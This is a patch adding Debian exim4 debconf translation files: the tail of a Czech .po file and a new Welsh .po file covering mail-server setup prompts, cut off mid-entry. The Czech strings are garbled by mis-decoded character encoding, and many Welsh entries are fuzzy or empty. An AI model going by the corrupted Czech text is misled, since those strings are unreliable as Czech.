+"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Pokud chytrý poÄÃtaÄ vyžaduje autentizaci, pÅ™eÄtÄ›te si prosÃm poznámky o " +"nastavenà SMTP autentizace v debianÃch README v /usr/share/doc/exim4-base/." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "PÅ™Ãjemce poÅ¡ty pro uživatele root a postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"PoÅ¡ta pro uživatele „postmaster“, „root“ a jiné systémové úÄty musà být " +"pÅ™esmÄ›rována na běžný uživatelský úÄet momentálnÃho správce systému." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Necháte-li tuto hodnotu prázdnou, bude se podobná poÅ¡ta ukládat do /var/mail/" +"mail, což se nedoporuÄuje." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"PoÅ¡ta pro uživatele „postmaster“ by se mÄ›la vÄ›tÅ¡inou ÄÃst na systému, ke " +"kterému patÅ™Ã. To znamená, že alespoň jeden uživatel, který dostává tuto " +"poÅ¡tu, by ji nemÄ›l pÅ™esmÄ›rovávat pryÄ z tohoto systému. Pro vynucenà " +"doruÄenà na lokálnà úÄet můžete použÃt pÅ™edponu „real-“." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "VÃce uživatelských jmen musà být oddÄ›leno mezerami." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP adresy, na kterých se majà oÄekávat pÅ™Ãchozà SMTP spojenÃ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Zadejte prosÃm stÅ™ednÃky oddÄ›lený seznam IP adres. SMTP daemon Exim bude " +"naslouchat na vÅ¡ech zde uvedených IP adresách." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Prázdná hodnota způsobÃ, že Exim bude Äekat na spojenà na vÅ¡ech dostupných " +"sÃÅ¥ových rozhranÃch." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Pokud tento poÄÃtaÄ nedostává poÅ¡tu pÅ™Ãmo z jiných poÄÃtaÄů, ale pouze skrze " +"lokálnà služby, doporuÄuje se zakázat externà spojenà k lokálnÃmu Eximu. " +"Mezi lokálnà služby patřà programy jako fetchmail nebo poÅ¡tovnà klienti, " +"kteřà se bavà pouze s tÃmto poÄÃtaÄem. Pokud zde zadáte 127.0.0.1, zakážete " +"Eximu naslouchat na veÅ™ejných sÃÅ¥ových rozhranÃch a tedy zamezÃte externÃm " +"spojenÃm." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Minimalizovat poÄet DNS dotazů (VytáÄenÃ-na-vyžádánÃ)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Aby Exim poskytoval pÅ™esné záznamy o své Äinnosti a minimalizoval poÄet " +"pevných hodnot v konfiguraÄnÃm souboru, klade pÅ™i svém startu a pÅ™i " +"pÅ™ijÃmánà nebo odesÃlánà poÅ¡ty různé DNS dotazy." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Kdyby tento poÄÃtaÄ nemÄ›l trvalý pÅ™Ãstup k jmenným serverům a použÃval pro " +"pÅ™Ãstup k Internetu vytáÄené pÅ™ipojenà na vyžádánÃ, mohlo by to mÃt nechtÄ›né " +"následky, protože start eximu nebo kontrola fronty (i kdyby v nà nebyly " +"žádné zprávy) by mohly spustit drahé pÅ™ipojenÃ." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Tuto možnost byste mÄ›li povolit v pÅ™ÃpadÄ›, že váš systém použÃvá vytáÄenà na " +"vyžádánÃ. Jestliže máte k Internetu trvalý pÅ™Ãstup, tuto možnost zamÃtnÄ›te." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Nastavenà poÅ¡tovnÃho serveru" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "RozdÄ›lit nastavenà do menÅ¡Ãch souborů?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debianà balÃky eximu4 mohou k vytvoÅ™enà výsledné konfigurace použÃt buÄ " +"jeden velký soubor (/etc/exim4/exim4.conf.template) nebo zhruba 50 menÅ¡Ãch " +"souborů z adresáře /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Prvnà možnost (jediný soubor) je vhodnÄ›jÅ¡Ã pro rozsáhlé úpravy a teoreticky " +"je o nÄ›co stabilnÄ›jÅ¡Ã. Druhá možnost (mnoho menÅ¡Ãch souborů) nabÃzà " +"pohodlnou zmÄ›nu malých izolovaných ÄástÃ, ale je náchylnÄ›jÅ¡Ã k chybám z " +"nepozornosti." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"PodrobnÄ›jÅ¡Ã diskuzi o monolitické a rozdÄ›lené konfiguraci naleznete v " +"debianÃm README v /usr/share/doc/exim4-base/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Skrýt lokálnà poÅ¡tovnà jméno v odchozà poÅ¡tÄ›?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"HlaviÄky odchozà poÅ¡ty mohou být pÅ™epsány tak, aby vypadaly, že zpráva " +"pocházà z jiného poÄÃtaÄe. Jestliže tuto možnost povolÃte, budou v " +"hlaviÄkách From, Reply-To, Sender a Return-Path pÅ™episovány Å™etÄ›zce " +"„${mailname}“, „localhost“ a „${dc_other_hostnames}“." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "formát mbox ve /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "formát Maildir v domovském adresáři" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Způsob doruÄenà lokálnà poÅ¡ty:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim umà ukládat lokálnÄ› doruÄenou poÅ¡tu v různých formátech. " +"NejpoužÃvanÄ›jÅ¡Ã jsou mbox a Maildir. mbox uchovává celou složku s poÅ¡tou v " +"jediném souboru ve /var/mail/. Oproti tomu formát Maildir ukládá každou " +"zprávu do samostatného souboru v adresáři ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Vemte prosÃm na vÄ›domÃ, že vÄ›tÅ¡ina poÅ¡tovnÃch nástrojů v Debianu implicitnÄ› " +"oÄekává doruÄovánà do mboxu." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "PÅ™esunout dosud nedoruÄenou poÅ¡tu ze spool adresáře eximu 3 do exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Ve spool adresáři eximu nebo eximu-tls verze 3 (/var/spool/exim/input/) " +#~ "se nacházà dosud nedoruÄená poÅ¡ta." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "VýbÄ›rem této možnosti můžete nedoruÄenou poÅ¡tu pÅ™esunout do spool " +#~ "adresáře eximu4 (/var/spool/exim4/input/), který se o ni postará." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "PÅ™esun funguje pouze jednÃm smÄ›rem. Exim4 umà pÅ™evzÃt spool adresář od " +#~ "eximu verze 3, ale opaÄnÄ› to neplatÃ. OdmÃtnete-li tuto možnost, musÃte " +#~ "poÅ¡tu pÅ™esunout ruÄnÄ›, nebo nebude nikdy doruÄena." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "" +#~ "Ponecháte-li seznam prázdný, Exim nebude doruÄovat žádnou lokálnà poÅ¡tu." + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "NaznaÄujete, že máte své vypiplané nastavenà Eximu 3. Pro jeho pÅ™evod do " +#~ "Eximu 4 můžete po instalaci použÃt nástroj exim_convert4r4(8). " +#~ "Nezapomeňte si pÅ™eÄÃst /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "a /usr/share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "„PoÅ¡tovnà jméno“ je název poÄÃtaÄe a zároveň Äást adresy za zavináÄem, " +#~ "která se bude zobrazovat na odchozà poÅ¡tÄ› (pokud nenà skrytá " +#~ "pÅ™episovacÃmi pravidly)." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "Zadejte zde sÃtÄ›, kterým chcete pÅ™edávat poÅ¡tu (relay)." diff --git a/debian/po/cy.po b/debian/po/cy.po new file mode 100644 index 0000000..8d672b8 --- /dev/null +++ b/debian/po/cy.po @@ -0,0 +1,765 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +# Dafydd Harries <daf@muse.19inch.net>, 2004 2005. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2005-04-25 20:21+1000\n" +"Last-Translator: Dafydd Harries <daf@muse.19inch.net>\n" +"Language-Team: Welsh <cy@pengwyn.linux.org.uk>\n" +"Language: cy\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "Dileu negeseuon heb eu dosbarthu sydd yn y cyfeiriadur sbŵl?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Mae negeseuon yn y cyfeiriadur sbŵl Exim /var/spool/exim4/input sydd heb eu " +"dosbarthu eto. Cewch eu cadw nwh rhag ofn rydych chi'n penderfynu ailsefydlu " +"Exim yn hwyrach, neu cewch ddewis eu dileu nhw." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "safle Rhyngrwyd; derbynnir a danfonir post yn uniongyrchol drwy SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "danfonir post drwy westeiwr clyfar; derbynnir drwy SMTP neu fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "danfonir post drwy westeiwr clyfar" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "dosbarthiad lleol yn unig; ddim ar rhwydwaith" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "dim cyfluniad ar hyn o bryd" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Math cyffredinol o gyfluniad ebost:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Dewiswch y math o gyfluniad sy'n bodloni eich anghenion orau." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Yn gyffredinol, fe ddyai peiriannau a chyfeiriadau IP deinamig, yn cynnwys " +"systemau sy'n deialu i fyny, gael eu cyflunio i ddanfon post allan i " +"beiriant arall, a elwir yn \"westeiwr clyfar\", ar gyfer dosbarthiad. Cewch " +"ddewis derbyn ebost ar y fath system; neu i gael dim dosbarthiad lleol, ar " +"wahan i \"root\" a \"postmaster\"." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Gwir adael y system ebost heb ei gyflunio?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +#, fuzzy +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Tan y caiff eich system ebost ei gyflunio, fe fydd wedi torri a ni ellir ei " +"ddefnyddio. Wrth gwrs, cewch ei gyflunio'n hwyrach, un ai â llawn neu gan " +"redeg \"dpkg-reconfigure exim4-config\" fel \"root\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Enw ebost y system:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Caiff yr enw hwn ei ddefnyddio gan rhaglenni eraill; dylai fod yr enw parth " +"cyflawn, sengl (FQDN) y bydd post yn ymddangos y daeth ohoni." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ni fydd yr enw hwn yn ymddangos ar linellau From: post allan os ydych chi'n " +"galluogi ailysgrifennu." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Cyrchfannau eraill y derbynir ebost ar eu cyfer:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Rhowch rhestr o barthau fe ddylai'r peiriant hwn gysudro ei hun y cyrchfan " +"terfynol ar eu cyfer, ar wahan i'r enw gwesteiwr lleol (${fqdn}) a " +"\"localhost\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Yn rhagosodiedig, caiff pob parth ei drin yr un fath; os hoffech chi i'r " +"gwahanol barthau eu trin yn wahanol, bydd rhaid i chi olygu'r ffeiliau " +"cyfluniad yn hwyrach." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Parthau i ailddosbarthu post ar eu cyfer:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Peiriannau i ailddosbarthu post ar eu cyfer:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +#, fuzzy +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Os oes yna rai, rhown nhw yma, wedi ei gwahannu gan orwahannodau (:). Fe " +"ddylwch ddefnyddio'r ffurf cyfeiriad/hyd arferol (e.e. 194.222.242.0/24)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "New parth gweladwy ar gyfer defnyddwyr lleol:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Gweler /usr/share/doc/exim4-base/README.Debian.gz am nodiadau ynghylch " +"cyflunio dilysiad SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Derbynnydd ebost \"root\" a \"postmaster\":" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Mae ebost i'r cyfrifon \"postmaster\" a \"root\" ac i chyfrifon system " +"eraill fel arfer yn cael ei ailgyfeirio at cyfrif defnyddiwr gwir weinyddwr " +"y system. Os ydych chi'n gadael y gwerth hwn yn wag, bydd y fath bost yn " +"cael ei gadw yn /var/mail/mail, a ni argymhellir. Sylwer y dylai ebost " +"postmaster gael ei ddarlen ar y system y caiff ei gyfeirio ati, yn hytrach " +"na chael ei gyfeirio i rhywle arall felly ni ddylai (o leiaf un o) y " +"defnyddwyr rydych chi'n dewis ailgyfeirio eu ebost bant o'r peiriant yma. " +"Defnyddwich cynddodiad \"real-\" i orfodi dosbarthiad lleol." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "Multiple user names need to be separated by spaces." +msgstr "Rhowch un neu fwy enw defnyddiwr wedi eu gwahannu gan fylchau." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Cyfeiriadau IP i'w gwrando arnynt am gysylltiadau SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Os ydych chi'n gadael y gwerth hwn yn wag, fe fydd Exim yn gwrando am " +"gysylltiadau ar borth SMTP pob rhyngwyneb rhwydwaith." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Os nad yw'r cyfrifiadur hwn yn derbyn ebost yn uniongyrchol drwy SMTP o " +"gyfrifiaduron ERAILL, ond dim ond o wasanaethau lleol fel fetchmail neu eich " +"rhaglen ebost yn siarad i localhost yna fe ddylwch wahardd cysylltiadau " +"allanol i Exim gan osod yr opsiwn hwn i 127.0.0.1 a felly yn analluogi " +"gwrando ar rhyngwynebau rhwydwaith lleol." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Lleihau'r nifer o geisiau DNS (deialu pan bo angen)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Fel arfer, mae Exim yn gwneud ceisiau DNS wrth gychywn, wrth dderbyn ac " +"anfon negeseuon, a.y.y.b. er mwyn cofnodi a chadw'r nifer o werthoedd cadarn " +"yn y ffeil cyfluniad yn isel." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +#, fuzzy +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Os mae hyn yn westeiwr heb gysylltiad parhaol at weinydd DNS sy'n deialu i " +"fyny pan bo angen, fe all hyn olygu fod cychwyn Exim neu redeg ciw (hyd yn " +"oed a dim neges yn aros) achosi deialu i fyny costus i ddigwydd." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +#, fuzzy +msgid "Mail Server configuration" +msgstr "Math cyffredinol o gyfluniad ebost:" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Hollti cyfluniad i ffeiliau bychan?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Gally y pecynnau Debian exim4 un ai ddefnyddio ffeil cyflawn sengl (/etc/" +"exim4/exim4.conf.template) neu tua 40 ffeil bychan yn /etc/exim4.conf.d/ i " +"gynhyrchu'r cyfluniad terfynol." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +#, fuzzy +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Mae'r ffurf cyntaf yn well ar gyfer newidiadau mawr ac yn gyffredinol yn fwy " +"sefydlog, tra mae'r ail ffurf yn cynnig ffordd mwy cyfforddus o wneud " +"newidiadau llai ond yn fwy bregus a gall dorri os gnweur newidiadau mawr." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Cuddio'r enw ebost lleol mewn ebost allan?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +#, fuzzy +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " 